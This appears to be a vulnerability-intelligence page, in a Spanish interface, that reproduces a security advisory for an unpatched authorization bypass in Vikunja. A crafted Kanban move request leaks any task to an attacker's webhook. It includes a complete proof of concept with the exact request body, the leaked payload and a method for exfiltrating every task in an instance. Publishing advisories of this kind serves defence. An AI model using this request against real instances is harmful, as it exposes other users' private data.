llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · code.vikunja.io/api

GHSA-5Q33-H98P-RGH9

Webhook task payloads bypass read authorization via a no-op kanban bucket move

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
7.1
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición28 dDesde la divulgación, 22 oct 2026, 5:07 a. m.
Detección27 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
22 oct 26
18 nov 26
19 nov 26
22 oct 26
29 oct 26
5 nov 26
12 nov 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-5Q33-H98P-RGH9 divulgada · CVSS 7.1 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

Any authenticated user can read the full content of any task in the instance,
including tasks in projects they have no access to, by moving a task on a Kanban
board with a crafted `task` in the request body. The task is delivered to a
webhook the user controls. Default configuration (webhooks are on by default).
Both `/api/v1` and `/api/v2` are affected.

The same crafted object also reaches two non-webhook listeners: mention
notifications and saved-filter view rows.

This is one of two entry legs of the same flaw, webhook task payloads bypassing
the webhook creator's read authorization. The other leg is
GHSA-66cq-j6rw-pjch (related tasks resolved with the event actor's access). Both
are fixed together.

Details

The Kanban move binds an attacker-controlled `task` from the body (`readOnly` is a
schema hint only). On a no-op move, `updateTaskBucket` returns before it
overwrites `b.Task`, so `TaskBucket.Update` dispatches the event with that object:

// pkg/models/kanban_task_bucket.go — TaskBucket.Update
if b.Task != nil {
    events.DispatchOnCommit(s, &TaskUpdatedEvent{Task: b.Task, Doer: doerFromAuth(s, a)})
}

`WebhookListener.Handle` picks the target project from the body's
`task.project_id` (before reload), then `reloadTaskInEvent` reloads the task by
`id` with no permission check:

// pkg/models/listeners.go
projectID := getProjectIDFromAnyEvent(event)          // body task.project_id
...
// reloadTaskInEvent:
err := fullTask.ReadOne(s, &user.User{ID: doerID})    // ReadOne does not check CanRead
event["task"] = fullTask
// pkg/models/tasks.go — Task.ReadOne
*t, err = GetTaskByIDSimple(s, t.ID)                  // bare load, no CanRead

Setting `task.id` to any task and `task.project_id` to a project the attacker
owns makes routing select the attacker's own webhook while the reload fills in the
target task's real content. (Sibling handlers such as `notifyMentionedUsers` do
call `Task.CanRead` before using task data; this path does not.)

Same flaw via `/api/v2` (`taskBucketUpdate` forwards the body `task` to `Update`;
Huma binds it despite `readOnly`).

References on current `main`:

  • `TaskBucket.Task` is bound from the body (`pkg/models/kanban_task_bucket.go:43`).
  • A no-op move returns at `:97`, before the permission-checked reload (`:120,227`),
  • The webhook listener reloads via `Task.ReadOne`, which has no permission check
  • Two more listeners consume the fake object:
  • `HandleTaskUpdatedMentions` (`listeners.go:917`) builds mention notifications
  • `UpdateTaskInSavedFilterViews` (`listeners.go:1035`) adds or removes the task

Related leg: GHSA-66cq-j6rw-pjch. Even with a genuine task object, the webhook
payload is resolved with the event actor's access, so related tasks the webhook
creator can't read leak through `related_tasks`.

Proof of concept

Reproduced end-to-end on a stock Docker deployment
(`vikunja/vikunja:unstable`, `v2.7.0-16-g58f7cf47`, SQLite, default config):

docker run -d -p 3456:3456 -v $PWD/data:/data \
  -e VIKUNJA_DATABASE_PATH=/data/vikunja.db -e VIKUNJA_FILES_BASEPATH=/data/files \
  vikunja/vikunja:unstable

Two self-registered users, `victim` and `attacker`. The victim owns project 3 with
a private task 1 — title `CONFIDENTIAL quarterly financials`, description
`Secret: acquiring Acme Corp for $4.2M. Do not share.`. The attacker owns project 4
(Kanban view 24, default bucket 16, a decoy task 2 already in bucket 16) and a
webhook on project 4 for `task.updated`.

1) The attacker cannot read the victim task through the API:

GET /api/v1/tasks/1          (attacker token)   ->   HTTP 403

2) The attacker issues a no-op move of their own decoy task, injecting a crafted
`task` that names the victim task (id 1) but routes to their own project (4):

POST /api/v1/projects/4/views/24/buckets/16/tasks     (attacker token)
{ "task_id": 2, "bucket_id": 16, "task": { "id": 1, "project_id": 4 } }
->   HTTP 200

3) The attacker's webhook receives the victim's task in full (trimmed):

{
  "event_name": "task.updated",
  "data": {
    "doer": { "id": 2, "username": "attacker" },
    "task": {
      "id": 1,
      "project_id": 3,
      "title": "CONFIDENTIAL quarterly financials",
      "description": "Secret: acquiring Acme Corp for $4.2M. Do not share.",
      "created_by": { "id": 1, "username": "victim" }
    }
  }
}

Task 1 belongs to the victim's project 3, yet the attacker (`doer`) received its
title and description at their own webhook despite the 403 in step 1. Iterating
`task.id` exfiltrates every task in the instance. `/api/v2` is equally affected via
`PUT /api/v2/projects/{project}/views/{view}/buckets/{bucket}/tasks` with a
fully-populated `task` object.

(The demo webhook points at a loopback catcher, enabled with
`outgoingrequests.allownonroutableips`; a real attacker simply uses a public
webhook URL, which the default SSRF guard already allows.)

Impact

Authenticated IDOR / cross-project information disclosure. Any user (no special
privilege; webhooks enabled by default) can exfiltrate the title, description and
metadata of every task in the instance, regardless of project membership or
sharing. The same request can also send forged mention notifications and change
which saved-filter views a task appears in.

Fix

  • Reset `b.Task` at entry and always populate it from the permission-checked
  • In the webhook listener, derive the project from the reload, or call `CanRead`
  • Ship together with the GHSA-66cq-j6rw-pjch fix (per-webhook reload as the

---
*Confirmed reproducible on current `main` (`v2.7.0-16-g58f7cf47`); not fixed. The PoC above is a live two-account run on the stock Docker image — attacker `GET /tasks/1` returns 403, the no-op move returns 200, and the attacker's webhook receives the victim's task in full.*

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
code.vikunja.io/api≤ 2.7.0
v0.24.6
2.7.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gocode.vikunja.io/api
Sin parche — — v0.24.6 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/go-vikunja/vikunja/security/advisories/GHSA-5q33-h98p-rgh9

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.